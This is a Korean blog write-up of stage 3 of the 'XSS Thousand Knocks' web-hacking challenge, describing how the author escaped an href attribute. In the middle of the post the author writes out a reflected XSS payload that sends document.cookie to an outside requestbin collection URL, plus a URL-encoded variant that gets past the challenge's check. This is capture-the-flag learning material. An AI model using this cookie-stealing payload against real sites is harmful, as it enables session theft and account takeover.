ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • XSS Thousand Knocks Stage3 write up
    WebHacking/XSS Thousand Knocks Write-Up 2018. 7. 18. 17:28

    수천 번의 노크 XSS 단계 3번 write up


    링크를 접속하니 Link라는 href가 하나 있고, 접속을 하면 기존과 같게 접속이 된다. 



    이거 xss game 5번에서 비슷한 문제를 풀어보았기에 비슷하게 하면 된다고 생각을 했음.


    ?q=' ' 2번과 같이 넣어놓고 link를 누르면 되는거같다!!!



    근데 자꾸 404 not found | nginx로 간다... 음 nginx?


    ** nginx : 아파치 같은 웹서버인듯하다. 한국에서 27%의 점유율을 가지고 있고, 아파치 보다 더 적은 자원으로 더 빠르게 데이터를 서비스 할 수 있는 웹 서버 소프트웨어이다. 



     페이지 소스 보기를 하면 <a href="/q=XSS">Link</a> 이렇게 있음을 보게 된다. 그럼 href에서 빠져나와 내가 원하는 스크립트를 실행시키게 해야 되는것같다.


    http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q="><script>location.href='http://requestbin.fullcontact.com/181sw2j1?a='%2Bdocument.cookie</script>



    이렇게 해서 창에서는 되었다! ok가 떴습니다. 


    그런데 Stage에 넣으면 fail csrf check이 또 떴다. 아까도 html encoding으로 '을 바꿔주면 되는것같다. 


    '는 %27이다. 이걸 적용해서 


    http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q="><script>location.href=%27http://requestbin.fullcontact.com/181sw2j1?a=%27%2Bdocument.cookie</script>


    이렇게 넣으면 성공




Designed by Tistory.